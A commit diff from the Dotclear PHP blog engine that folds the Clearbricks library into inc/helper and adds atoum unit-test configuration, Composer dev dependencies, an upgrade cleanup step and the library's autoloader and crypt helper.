Remove CB as submodule, includes it into inc/helper (keep unit tests), addresses #202

This commit is contained in:
franck 2022-12-26 11:19:06 +01:00
parent e27742b64e
commit a2b9d4f15c
No known key found for this signature in database
GPG key ID: BC0939B7E6CF71E7
132 changed files with 35510 additions and 18 deletions

11
.atoum.coverage.php Normal file
View file

@ -0,0 +1,11 @@
<?php
use atoum\atoum\reports\coverage;
use atoum\atoum\writers\std;
$script->addDefaultReport();
$coverage = new coverage\html();
$coverage->addWriter(new std\out());
$coverage->setOutPutDirectory(__DIR__ . '/coverage/html');
$runner->addReport($coverage);

26
.atoum.php Normal file
View file

@ -0,0 +1,26 @@
<?php
use atoum\atoum;
use atoum\atoum\reports;
// Enable extension
$extension = new reports\extension($script);
$extension->addToRunner($runner);
// Write all on stdout.
$stdOutWriter = new atoum\writers\std\out();
// Generate a CLI report.
$cliReport = new atoum\reports\realtime\cli();
$cliReport->addWriter($stdOutWriter);
// Xunit report
$xunit = new atoum\reports\asynchronous\xunit();
$runner->addReport($xunit);
// Xunit writer
$writer = new atoum\writers\file('tests/atoum.xunit.xml');
$xunit->addWriter($writer);
$runner->addTestsFromDirectory('tests/unit/');;
$runner->addReport($cliReport);

1
.gitignore vendored
View file

@ -9,3 +9,4 @@
/vendor /vendor
/composer.phar /composer.phar
/doxygen /doxygen
/coverage

4
.gitmodules vendored
View file

@ -1,4 +0,0 @@
[submodule "inc/libs/clearbricks"]
path = inc/libs/clearbricks
url = git@git.dotclear.org:dev/clearbricks.git
branch = master

View file

@ -17,14 +17,6 @@ config: clean config-stamp
mkdir -p ./$(DC)/locales mkdir -p ./$(DC)/locales
cp -pRf ./locales/README ./locales/en ./locales/fr ./$(DC)/locales/ cp -pRf ./locales/README ./locales/en ./locales/fr ./$(DC)/locales/
## Remove tests directories and test stuff, idem for doxygen documentation
rm -fr ./$(DC)/inc/libs/clearbricks/tests ./$(DC)/inc/libs/clearbricks/composer.* \
./$(DC)/inc/libs/clearbricks/.atoum.* ./$(DC)/inc/libs/clearbricks/vendor \
./$(DC)/inc/libs/clearbricks/bin ./$(DC)/inc/libs/clearbricks/_dist \
./$(DC)/.atoum.* ./$(DC)/tests ./$(DC)/coverage \
./$(DC)/composer.* \
./$(DC)/doxygen ./$(DC)/clearbricks/doxygen
## Create cache, var, db, plugins, themes and public folders ## Create cache, var, db, plugins, themes and public folders
mkdir ./$(DC)/cache ./$(DC)/var ./$(DC)/db ./$(DC)/plugins ./$(DC)/themes ./$(DC)/public mkdir ./$(DC)/cache ./$(DC)/var ./$(DC)/db ./$(DC)/plugins ./$(DC)/themes ./$(DC)/public
cp -p inc/.htaccess ./$(DC)/cache/ cp -p inc/.htaccess ./$(DC)/cache/

117
bin/atoum Executable file
View file

@ -0,0 +1,117 @@
#!/usr/bin/env php
<?php
/**
* Proxy PHP file generated by Composer
*
* This file includes the referenced bin path (../vendor/atoum/atoum/bin/atoum)
* using a stream wrapper to prevent the shebang from being output on PHP<8
*
* @generated
*/
namespace Composer;
$GLOBALS['_composer_bin_dir'] = __DIR__;
$GLOBALS['_composer_autoload_path'] = __DIR__ . '/..'.'/vendor/autoload.php';
if (PHP_VERSION_ID < 80000) {
if (!class_exists('Composer\BinProxyWrapper')) {
/**
* @internal
*/
final class BinProxyWrapper
{
private $handle;
private $position;
private $realpath;
public function stream_open($path, $mode, $options, &$opened_path)
{
// get rid of phpvfscomposer:// prefix for __FILE__ & __DIR__ resolution
$opened_path = substr($path, 17);
$this->realpath = realpath($opened_path) ?: $opened_path;
$opened_path = $this->realpath;
$this->handle = fopen($this->realpath, $mode);
$this->position = 0;
return (bool) $this->handle;
}
public function stream_read($count)
{
$data = fread($this->handle, $count);
if ($this->position === 0) {
$data = preg_replace('{^#!.*\r?\n}', '', $data);
}
$this->position += strlen($data);
return $data;
}
public function stream_cast($castAs)
{
return $this->handle;
}
public function stream_close()
{
fclose($this->handle);
}
public function stream_lock($operation)
{
return $operation ? flock($this->handle, $operation) : true;
}
public function stream_seek($offset, $whence)
{
if (0 === fseek($this->handle, $offset, $whence)) {
$this->position = ftell($this->handle);
return true;
}
return false;
}
public function stream_tell()
{
return $this->position;
}
public function stream_eof()
{
return feof($this->handle);
}
public function stream_stat()
{
return array();
}
public function stream_set_option($option, $arg1, $arg2)
{
return true;
}
public function url_stat($path, $flags)
{
$path = substr($path, 17);
if (file_exists($path)) {
return stat($path);
}
return false;
}
}
}
if (function_exists('stream_wrapper_register') && stream_wrapper_register('phpvfscomposer', 'Composer\BinProxyWrapper')) {
include("phpvfscomposer://" . __DIR__ . '/..'.'/vendor/atoum/atoum/bin/atoum');
exit(0);
}
}
include __DIR__ . '/..'.'/vendor/atoum/atoum/bin/atoum';

View file

@ -13,7 +13,10 @@
"php": ">=7.4.0" "php": ">=7.4.0"
}, },
"require-dev": { "require-dev": {
"phpstan/phpstan": "1.9.x-dev" "phpstan/phpstan": "1.9.x-dev",
"atoum/atoum": "4.1.0",
"atoum/reports-extension": "4.0.0",
"fakerphp/faker": "1.21.0"
}, },
"config": { "config": {
"bin-dir": "bin/" "bin-dir": "bin/"

729
composer.lock generated
View file

@ -4,9 +4,222 @@
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
"This file is @generated automatically" "This file is @generated automatically"
], ],
"content-hash": "26c89c6a9a4e4605265683ce75d4e79f", "content-hash": "913c261bf25bb7890a0e28fcb4bf56b6",
"packages": [], "packages": [],
"packages-dev": [ "packages-dev": [
{
"name": "atoum/atoum",
"version": "4.1",
"source": {
"type": "git",
"url": "https://github.com/atoum/atoum.git",
"reference": "e866f3d4ad683c35757cd73fc6da3e3d5e563667"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/atoum/atoum/zipball/e866f3d4ad683c35757cd73fc6da3e3d5e563667",
"reference": "e866f3d4ad683c35757cd73fc6da3e3d5e563667",
"shasum": ""
},
"require": {
"ext-hash": "*",
"ext-json": "*",
"ext-tokenizer": "*",
"ext-xml": "*",
"php": "^7.4 || ^8.0"
},
"replace": {
"mageekguy/atoum": "*"
},
"require-dev": {
"friendsofphp/php-cs-fixer": "^3.2"
},
"suggest": {
"atoum/stubs": "Provides IDE support (like autocompletion) for atoum",
"ext-mbstring": "Provides support for UTF-8 strings",
"ext-xdebug": "Provides code coverage report (>= 2.3)"
},
"bin": [
"bin/atoum"
],
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "4.x-dev"
}
},
"autoload": {
"classmap": [
"classes/"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Frédéric Hardy",
"email": "frederic.hardy@atoum.org",
"homepage": "http://blog.mageekbox.net"
},
{
"name": "François Dussert",
"email": "francois.dussert@atoum.org"
},
{
"name": "Gérald Croes",
"email": "gerald.croes@atoum.org"
},
{
"name": "Julien Bianchi",
"email": "julien.bianchi@atoum.org"
},
{
"name": "Ludovic Fleury",
"email": "ludovic.fleury@atoum.org"
}
],
"description": "Simple modern and intuitive unit testing framework for PHP 5.3+",
"homepage": "http://www.atoum.org",
"keywords": [
"TDD",
"atoum",
"test",
"unit testing"
],
"support": {
"issues": "https://github.com/atoum/atoum/issues",
"source": "https://github.com/atoum/atoum/tree/4.1"
},
"time": "2022-11-20T20:18:31+00:00"
},
{
"name": "atoum/reports-extension",
"version": "4.0.0",
"source": {
"type": "git",
"url": "https://github.com/atoum/reports-extension.git",
"reference": "5668fc693f0cc484edede1825d23f2b1dce48ef8"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/atoum/reports-extension/zipball/5668fc693f0cc484edede1825d23f2b1dce48ef8",
"reference": "5668fc693f0cc484edede1825d23f2b1dce48ef8",
"shasum": ""
},
"require": {
"atoum/atoum": "^4.0",
"php": "^7.2 || ^8.0.0",
"symfony/filesystem": "^5.0",
"twig/twig": "^3.0"
},
"require-dev": {
"friendsofphp/php-cs-fixer": "^2"
},
"type": "library",
"autoload": {
"files": [
"configuration.php"
],
"psr-4": {
"atoum\\atoum\\reports\\": "classes"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "jubianchi",
"email": "contact@jubianchi.fr"
}
],
"description": "atoum Reports extension",
"homepage": "http://www.atoum.org",
"keywords": [
"TDD",
"atoum",
"atoum-extension",
"reports",
"test",
"unit testing"
],
"support": {
"issues": "https://github.com/atoum/reports-extension/issues",
"source": "https://github.com/atoum/reports-extension/tree/4.0.0"
},
"time": "2021-02-05T14:58:39+00:00"
},
{
"name": "fakerphp/faker",
"version": "v1.21.0",
"source": {
"type": "git",
"url": "https://github.com/FakerPHP/Faker.git",
"reference": "92efad6a967f0b79c499705c69b662f738cc9e4d"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/FakerPHP/Faker/zipball/92efad6a967f0b79c499705c69b662f738cc9e4d",
"reference": "92efad6a967f0b79c499705c69b662f738cc9e4d",
"shasum": ""
},
"require": {
"php": "^7.4 || ^8.0",
"psr/container": "^1.0 || ^2.0",
"symfony/deprecation-contracts": "^2.2 || ^3.0"
},
"conflict": {
"fzaninotto/faker": "*"
},
"require-dev": {
"bamarni/composer-bin-plugin": "^1.4.1",
"doctrine/persistence": "^1.3 || ^2.0",
"ext-intl": "*",
"phpunit/phpunit": "^9.5.26",
"symfony/phpunit-bridge": "^5.4.16"
},
"suggest": {
"doctrine/orm": "Required to use Faker\\ORM\\Doctrine",
"ext-curl": "Required by Faker\\Provider\\Image to download images.",
"ext-dom": "Required by Faker\\Provider\\HtmlLorem for generating random HTML.",
"ext-iconv": "Required by Faker\\Provider\\ru_RU\\Text::realText() for generating real Russian text.",
"ext-mbstring": "Required for multibyte Unicode string functionality."
},
"type": "library",
"extra": {
"branch-alias": {
"dev-main": "v1.21-dev"
}
},
"autoload": {
"psr-4": {
"Faker\\": "src/Faker/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "François Zaninotto"
}
],
"description": "Faker is a PHP library that generates fake data for you.",
"keywords": [
"data",
"faker",
"fixtures"
],
"support": {
"issues": "https://github.com/FakerPHP/Faker/issues",
"source": "https://github.com/FakerPHP/Faker/tree/v1.21.0"
},
"time": "2022-12-13T13:54:32+00:00"
},
{ {
"name": "phpstan/phpstan", "name": "phpstan/phpstan",
"version": "1.9.x-dev", "version": "1.9.x-dev",
@ -66,6 +279,520 @@
} }
], ],
"time": "2022-12-22T17:02:44+00:00" "time": "2022-12-22T17:02:44+00:00"
},
{
"name": "psr/container",
"version": "dev-master",
"source": {
"type": "git",
"url": "https://github.com/php-fig/container.git",
"reference": "90db7b9ac2a2c5b849fcb69dde58f3ae182c68f5"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/php-fig/container/zipball/90db7b9ac2a2c5b849fcb69dde58f3ae182c68f5",
"reference": "90db7b9ac2a2c5b849fcb69dde58f3ae182c68f5",
"shasum": ""
},
"require": {
"php": ">=7.4.0"
},
"default-branch": true,
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "2.0.x-dev"
}
},
"autoload": {
"psr-4": {
"Psr\\Container\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "PHP-FIG",
"homepage": "https://www.php-fig.org/"
}
],
"description": "Common Container Interface (PHP FIG PSR-11)",
"homepage": "https://github.com/php-fig/container",
"keywords": [
"PSR-11",
"container",
"container-interface",
"container-interop",
"psr"
],
"support": {
"issues": "https://github.com/php-fig/container/issues",
"source": "https://github.com/php-fig/container/tree/master"
},
"time": "2022-07-19T17:36:59+00:00"
},
{
"name": "symfony/deprecation-contracts",
"version": "dev-main",
"source": {
"type": "git",
"url": "https://github.com/symfony/deprecation-contracts.git",
"reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/1ee04c65529dea5d8744774d474e7cbd2f1206d3",
"reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3",
"shasum": ""
},
"require": {
"php": ">=8.1"
},
"default-branch": true,
"type": "library",
"extra": {
"branch-alias": {
"dev-main": "3.3-dev"
},
"thanks": {
"name": "symfony/contracts",
"url": "https://github.com/symfony/contracts"
}
},
"autoload": {
"files": [
"function.php"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Nicolas Grekas",
"email": "p@tchwork.com"
},
{
"name": "Symfony Community",
"homepage": "https://symfony.com/contributors"
}
],
"description": "A generic function and convention to trigger deprecation notices",
"homepage": "https://symfony.com",
"support": {
"source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.0"
},
"funding": [
{
"url": "https://symfony.com/sponsor",
"type": "custom"
},
{
"url": "https://github.com/fabpot",
"type": "github"
},
{
"url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
"type": "tidelift"
}
],
"time": "2022-11-25T10:21:52+00:00"
},
{
"name": "symfony/filesystem",
"version": "5.4.x-dev",
"source": {
"type": "git",
"url": "https://github.com/symfony/filesystem.git",
"reference": "ac09569844a9109a5966b9438fc29113ce77cf51"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/filesystem/zipball/ac09569844a9109a5966b9438fc29113ce77cf51",
"reference": "ac09569844a9109a5966b9438fc29113ce77cf51",
"shasum": ""
},
"require": {
"php": ">=7.2.5",
"symfony/polyfill-ctype": "~1.8",
"symfony/polyfill-mbstring": "~1.8",
"symfony/polyfill-php80": "^1.16"
},
"type": "library",
"autoload": {
"psr-4": {
"Symfony\\Component\\Filesystem\\": ""
},
"exclude-from-classmap": [
"/Tests/"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Fabien Potencier",
"email": "fabien@symfony.com"
},
{
"name": "Symfony Community",
"homepage": "https://symfony.com/contributors"
}
],
"description": "Provides basic utilities for the filesystem",
"homepage": "https://symfony.com",
"support": {
"source": "https://github.com/symfony/filesystem/tree/5.4"
},
"funding": [
{
"url": "https://symfony.com/sponsor",
"type": "custom"
},
{
"url": "https://github.com/fabpot",
"type": "github"
},
{
"url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
"type": "tidelift"
}
],
"time": "2022-09-21T19:53:16+00:00"
},
{
"name": "symfony/polyfill-ctype",
"version": "dev-main",
"source": {
"type": "git",
"url": "https://github.com/symfony/polyfill-ctype.git",
"reference": "5bbc823adecdae860bb64756d639ecfec17b050a"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/5bbc823adecdae860bb64756d639ecfec17b050a",
"reference": "5bbc823adecdae860bb64756d639ecfec17b050a",
"shasum": ""
},
"require": {
"php": ">=7.1"
},
"provide": {
"ext-ctype": "*"
},
"suggest": {
"ext-ctype": "For best performance"
},
"default-branch": true,
"type": "library",
"extra": {
"branch-alias": {
"dev-main": "1.27-dev"
},
"thanks": {
"name": "symfony/polyfill",
"url": "https://github.com/symfony/polyfill"
}
},
"autoload": {
"files": [
"bootstrap.php"
],
"psr-4": {
"Symfony\\Polyfill\\Ctype\\": ""
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Gert de Pagter",
"email": "BackEndTea@gmail.com"
},
{
"name": "Symfony Community",
"homepage": "https://symfony.com/contributors"
}
],
"description": "Symfony polyfill for ctype functions",
"homepage": "https://symfony.com",
"keywords": [
"compatibility",
"ctype",
"polyfill",
"portable"
],
"support": {
"source": "https://github.com/symfony/polyfill-ctype/tree/v1.27.0"
},
"funding": [
{
"url": "https://symfony.com/sponsor",
"type": "custom"
},
{
"url": "https://github.com/fabpot",
"type": "github"
},
{
"url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
"type": "tidelift"
}
],
"time": "2022-11-03T14:55:06+00:00"
},
{
"name": "symfony/polyfill-mbstring",
"version": "dev-main",
"source": {
"type": "git",
"url": "https://github.com/symfony/polyfill-mbstring.git",
"reference": "8ad114f6b39e2c98a8b0e3bd907732c207c2b534"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/8ad114f6b39e2c98a8b0e3bd907732c207c2b534",
"reference": "8ad114f6b39e2c98a8b0e3bd907732c207c2b534",
"shasum": ""
},
"require": {
"php": ">=7.1"
},
"provide": {
"ext-mbstring": "*"
},
"suggest": {
"ext-mbstring": "For best performance"
},
"default-branch": true,
"type": "library",
"extra": {
"branch-alias": {
"dev-main": "1.27-dev"
},
"thanks": {
"name": "symfony/polyfill",
"url": "https://github.com/symfony/polyfill"
}
},
"autoload": {
"files": [
"bootstrap.php"
],
"psr-4": {
"Symfony\\Polyfill\\Mbstring\\": ""
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Nicolas Grekas",
"email": "p@tchwork.com"
},
{
"name": "Symfony Community",
"homepage": "https://symfony.com/contributors"
}
],
"description": "Symfony polyfill for the Mbstring extension",
"homepage": "https://symfony.com",
"keywords": [
"compatibility",
"mbstring",
"polyfill",
"portable",
"shim"
],
"support": {
"source": "https://github.com/symfony/polyfill-mbstring/tree/v1.27.0"
},
"funding": [
{
"url": "https://symfony.com/sponsor",
"type": "custom"
},
{
"url": "https://github.com/fabpot",
"type": "github"
},
{
"url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
"type": "tidelift"
}
],
"time": "2022-11-03T14:55:06+00:00"
},
{
"name": "symfony/polyfill-php80",
"version": "dev-main",
"source": {
"type": "git",
"url": "https://github.com/symfony/polyfill-php80.git",
"reference": "7a6ff3f1959bb01aefccb463a0f2cd3d3d2fd936"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/7a6ff3f1959bb01aefccb463a0f2cd3d3d2fd936",
"reference": "7a6ff3f1959bb01aefccb463a0f2cd3d3d2fd936",
"shasum": ""
},
"require": {
"php": ">=7.1"
},
"default-branch": true,
"type": "library",
"extra": {
"branch-alias": {
"dev-main": "1.27-dev"
},
"thanks": {
"name": "symfony/polyfill",
"url": "https://github.com/symfony/polyfill"
}
},
"autoload": {
"files": [
"bootstrap.php"
],
"psr-4": {
"Symfony\\Polyfill\\Php80\\": ""
},
"classmap": [
"Resources/stubs"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Ion Bazan",
"email": "ion.bazan@gmail.com"
},
{
"name": "Nicolas Grekas",
"email": "p@tchwork.com"
},
{
"name": "Symfony Community",
"homepage": "https://symfony.com/contributors"
}
],
"description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions",
"homepage": "https://symfony.com",
"keywords": [
"compatibility",
"polyfill",
"portable",
"shim"
],
"support": {
"source": "https://github.com/symfony/polyfill-php80/tree/v1.27.0"
},
"funding": [
{
"url": "https://symfony.com/sponsor",
"type": "custom"
},
{
"url": "https://github.com/fabpot",
"type": "github"
},
{
"url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
"type": "tidelift"
}
],
"time": "2022-11-03T14:55:06+00:00"
},
{
"name": "twig/twig",
"version": "3.x-dev",
"source": {
"type": "git",
"url": "https://github.com/twigphp/Twig.git",
"reference": "e5c87f882183134a0e56845fd3e2e63c4a10396a"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/twigphp/Twig/zipball/e5c87f882183134a0e56845fd3e2e63c4a10396a",
"reference": "e5c87f882183134a0e56845fd3e2e63c4a10396a",
"shasum": ""
},
"require": {
"php": ">=7.2.5",
"symfony/polyfill-ctype": "^1.8",
"symfony/polyfill-mbstring": "^1.3"
},
"require-dev": {
"psr/container": "^1.0",
"symfony/phpunit-bridge": "^4.4.9|^5.0.9|^6.0"
},
"default-branch": true,
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "3.4-dev"
}
},
"autoload": {
"psr-4": {
"Twig\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Fabien Potencier",
"email": "fabien@symfony.com",
"homepage": "http://fabien.potencier.org",
"role": "Lead Developer"
},
{
"name": "Twig Team",
"role": "Contributors"
},
{
"name": "Armin Ronacher",
"email": "armin.ronacher@active-4.com",
"role": "Project Founder"
}
],
"description": "Twig, the flexible, fast, and secure template language for PHP",
"homepage": "https://twig.symfony.com",
"keywords": [
"templating"
],
"support": {
"issues": "https://github.com/twigphp/Twig/issues",
"source": "https://github.com/twigphp/Twig/tree/3.x"
},
"funding": [
{
"url": "https://github.com/fabpot",
"type": "github"
},
{
"url": "https://tidelift.com/funding/github/packagist/twig/twig",
"type": "tidelift"
}
],
"time": "2022-12-15T10:46:42+00:00"
} }
], ],
"aliases": [], "aliases": [],

View file

@ -1150,6 +1150,19 @@ class dcUpgrade
); );
} }
if (version_compare($version, '2.25', '<')) {
// A bit of housecleaning for no longer needed folders
self::houseCleaning(
// Files
[
],
// Folders
[
'inc/libs',
]
);
}
dcCore::app()->setVersion('core', DC_VERSION); dcCore::app()->setVersion('core', DC_VERSION);
dcCore::app()->blogDefaults(); dcCore::app()->blogDefaults();

260
inc/helper/_common.php Normal file
View file

@ -0,0 +1,260 @@
<?php
/**
* @package Clearbricks
*
* Tiny library including:
* - Database abstraction layer (MySQL/MariadDB, postgreSQL and SQLite)
* - File manager
* - Feed reader
* - HTML filter/validator
* - Images manipulation tools
* - Mail utilities
* - HTML pager
* - REST Server
* - Database driven session handler
* - Simple Template Systeme
* - URL Handler
* - Wiki to XHTML Converter
* - HTTP/NNTP clients
* - XML-RPC Client and Server
* - Zip tools
* - Diff tools
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
* @version 1.4
*/
define('CLEARBRICKS_VERSION', '1.4');
// Autoload for clearbricks
class Autoload
{
public $stack = [];
public function __construct()
{
spl_autoload_register([$this, 'loadClass']);
/*
* @deprecated since 1.3, use Clearbricks::lib()->autoload() instead
*/
$GLOBALS['__autoload'] = &$this->stack;
}
public function loadClass(string $name)
{
if (isset($this->stack[$name]) && is_file($this->stack[$name])) {
require_once $this->stack[$name];
}
}
/**
* Add class(es) to autoloader stack
*
* @param array $stack Array of class => file (strings)
*/
public function add(array $stack)
{
if (is_array($stack)) {
$this->stack = array_merge($this->stack, $stack);
}
}
/**
* Get the source file of a registered class
*
* @param string $class The class
*
* @return mixed source file of class, false is not set
*/
public function source(string $class)
{
if (isset($this->stack[$class])) {
return $this->stack[$class];
}
return false;
}
}
class Clearbricks
{
private static $instance = null;
/**
* @var Autoload instance
*/
private $autoloader;
public function __construct()
{
// Singleton mode
if (self::$instance) {
throw new Exception('Library can not be loaded twice.', 500);
}
self::$instance = $this;
$this->autoloader = new Autoload();
$this->autoloader->add([
// Common helpers
'crypt' => __DIR__ . '/common/lib.crypt.php',
'dt' => __DIR__ . '/common/lib.date.php',
'files' => __DIR__ . '/common/lib.files.php',
'path' => __DIR__ . '/common/lib.files.php',
'form' => __DIR__ . '/common/lib.form.php',
'formSelectOption' => __DIR__ . '/common/lib.form.php',
'html' => __DIR__ . '/common/lib.html.php',
'http' => __DIR__ . '/common/lib.http.php',
'l10n' => __DIR__ . '/common/lib.l10n.php',
'text' => __DIR__ . '/common/lib.text.php',
// Database Abstraction Layer
'dbLayer' => __DIR__ . '/dblayer/dblayer.php',
'dbStruct' => __DIR__ . '/dbschema/class.dbstruct.php',
'dbSchema' => __DIR__ . '/dbschema/class.dbschema.php',
// Files Manager
'filemanager' => __DIR__ . '/filemanager/class.filemanager.php',
'fileItem' => __DIR__ . '/filemanager/class.filemanager.php',
// Feed Reader
'feedParser' => __DIR__ . '/net.http.feed/class.feed.parser.php',
'feedReader' => __DIR__ . '/net.http.feed/class.feed.reader.php',
// HTML Filter
'htmlFilter' => __DIR__ . '/html.filter/class.html.filter.php',
// HTML Validator
'htmlValidator' => __DIR__ . '/html.validator/class.html.validator.php',
// Image Manipulation Tools
'imageMeta' => __DIR__ . '/image/class.image.meta.php',
'imageTools' => __DIR__ . '/image/class.image.tools.php',
// Send Mail Utilities
'mail' => __DIR__ . '/mail/class.mail.php',
// Send Mail Through Sockets
'socketMail' => __DIR__ . '/mail/class.socket.mail.php',
// HTML Pager
'pager' => __DIR__ . '/pager/class.pager.php',
// REST Server
'restServer' => __DIR__ . '/rest/class.rest.php',
'xmlTag' => __DIR__ . '/rest/class.rest.php',
// Database PHP Session
'sessionDB' => __DIR__ . '/session.db/class.session.db.php',
// Simple Template Systeme
'template' => __DIR__ . '/template/class.template.php',
'tplNode' => __DIR__ . '/template/class.tplnode.php',
'tplNodeBlock' => __DIR__ . '/template/class.tplnodeblock.php',
'tplNodeText' => __DIR__ . '/template/class.tplnodetext.php',
'tplNodeValue' => __DIR__ . '/template/class.tplnodevalue.php',
'tplNodeBlockDefinition' => __DIR__ . '/template/class.tplnodeblockdef.php',
'tplNodeValueParent' => __DIR__ . '/template/class.tplnodevalueparent.php',
// URL Handler
'urlHandler' => __DIR__ . '/url.handler/class.url.handler.php',
// Wiki to XHTML Converter
'wiki2xhtml' => __DIR__ . '/text.wiki2xhtml/class.wiki2xhtml.php',
// Common Socket Class
'netSocket' => __DIR__ . '/net/class.net.socket.php',
// HTTP Client
'netHttp' => __DIR__ . '/net.http/class.net.http.php',
'HttpClient' => __DIR__ . '/net.http/class.net.http.php',
// XML-RPC Client and Server
'xmlrpcValue' => __DIR__ . '/net.xmlrpc/class.net.xmlrpc.php',
'xmlrpcMessage' => __DIR__ . '/net.xmlrpc/class.net.xmlrpc.php',
'xmlrpcRequest' => __DIR__ . '/net.xmlrpc/class.net.xmlrpc.php',
'xmlrpcDate' => __DIR__ . '/net.xmlrpc/class.net.xmlrpc.php',
'xmlrpcBase64' => __DIR__ . '/net.xmlrpc/class.net.xmlrpc.php',
'xmlrpcClient' => __DIR__ . '/net.xmlrpc/class.net.xmlrpc.php',
'xmlrpcClientMulticall' => __DIR__ . '/net.xmlrpc/class.net.xmlrpc.php',
'xmlrpcBasicServer' => __DIR__ . '/net.xmlrpc/class.net.xmlrpc.php',
'xmlrpcIntrospectionServer' => __DIR__ . '/net.xmlrpc/class.net.xmlrpc.php',
// Zip tools
'fileUnzip' => __DIR__ . '/zip/class.unzip.php',
'fileZip' => __DIR__ . '/zip/class.zip.php',
// Diff tools
'diff' => __DIR__ . '/diff/lib.diff.php',
'tidyDiff' => __DIR__ . '/diff/lib.tidy.diff.php',
// HTML Form helpers
'formComponent' => __DIR__ . '/html.form/class.form.component.php',
'formForm' => __DIR__ . '/html.form/class.form.form.php',
'formTextarea' => __DIR__ . '/html.form/class.form.textarea.php',
'formInput' => __DIR__ . '/html.form/class.form.input.php',
'formButton' => __DIR__ . '/html.form/class.form.button.php',
'formCheckbox' => __DIR__ . '/html.form/class.form.checkbox.php',
'formColor' => __DIR__ . '/html.form/class.form.color.php',
'formDate' => __DIR__ . '/html.form/class.form.date.php',
'formDatetime' => __DIR__ . '/html.form/class.form.datetime.php',
'formEmail' => __DIR__ . '/html.form/class.form.email.php',
'formFile' => __DIR__ . '/html.form/class.form.file.php',
'formHidden' => __DIR__ . '/html.form/class.form.hidden.php',
'formNumber' => __DIR__ . '/html.form/class.form.number.php',
'formPassword' => __DIR__ . '/html.form/class.form.password.php',
'formRadio' => __DIR__ . '/html.form/class.form.radio.php',
'formSubmit' => __DIR__ . '/html.form/class.form.submit.php',
'formTime' => __DIR__ . '/html.form/class.form.time.php',
'formUrl' => __DIR__ . '/html.form/class.form.url.php',
'formLabel' => __DIR__ . '/html.form/class.form.label.php',
'formFieldset' => __DIR__ . '/html.form/class.form.fieldset.php',
'formLegend' => __DIR__ . '/html.form/class.form.legend.php',
'formSelect' => __DIR__ . '/html.form/class.form.select.php',
'formOptgroup' => __DIR__ . '/html.form/class.form.optgroup.php',
'formOption' => __DIR__ . '/html.form/class.form.option.php',
]);
// We may need l10n __() function
l10n::bootstrap();
// We set default timezone to avoid warning
dt::setTZ('UTC');
}
/**
* Get Clearbricks singleton instance
*
* @return Clearbricks
*/
public static function lib(): Clearbricks
{
return self::$instance;
}
/**
* Autoload: register class(es)
*
* @param array $stack Array of class => file (strings)
*/
public function autoload(array $stack)
{
$this->autoloader->add($stack);
}
/**
* Return source file associated with a registered class
*
* @param string $class The class
*
* @return mixed Source file or false
*/
public function autoloadSource(string $class)
{
return $this->autoloader->source($class);
}
}
// Create singleton
new Clearbricks();

View file

@ -0,0 +1,91 @@
<?php
/**
* @class crypt
* @brief Functions to handle passwords or sensitive data
*
* @package Clearbricks
* @subpackage Common
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class crypt
{
/**
* SHA1 or MD5 + HMAC
*
* Returns an HMAC encoded value of <var>$data</var>, using the said <var>$key</var>
* and <var>$hashfunc</var> as hash method (sha1 or md5 are accepted if hash_hmac function not exists.)
*
* @param string $key Hash key
* @param string $data Data
* @param string $hashfunc Hash function (md5 or sha1)
*
* @return string
*/
public static function hmac(string $key, string $data, string $hashfunc = 'sha1'): string
{
if (function_exists('hash_hmac')) {
if (!in_array($hashfunc, hash_algos())) {
$hashfunc = 'sha1';
}
return hash_hmac($hashfunc, $data, $key);
}
return self::hmac_legacy($key, $data, $hashfunc);
}
/**
* Legacy hmac method
*
* @param string $key The key
* @param string $data The data
* @param string $hashfunc The hashfunc
*
* @return string
*/
public static function hmac_legacy(string $key, string $data, string $hashfunc = 'sha1'): string
{
// Legacy way
if ($hashfunc != 'sha1') {
$hashfunc = 'md5';
}
$blocksize = 64;
if (strlen($key) > $blocksize) {
$key = pack('H*', $hashfunc($key));
}
$key = str_pad($key, $blocksize, chr(0x00));
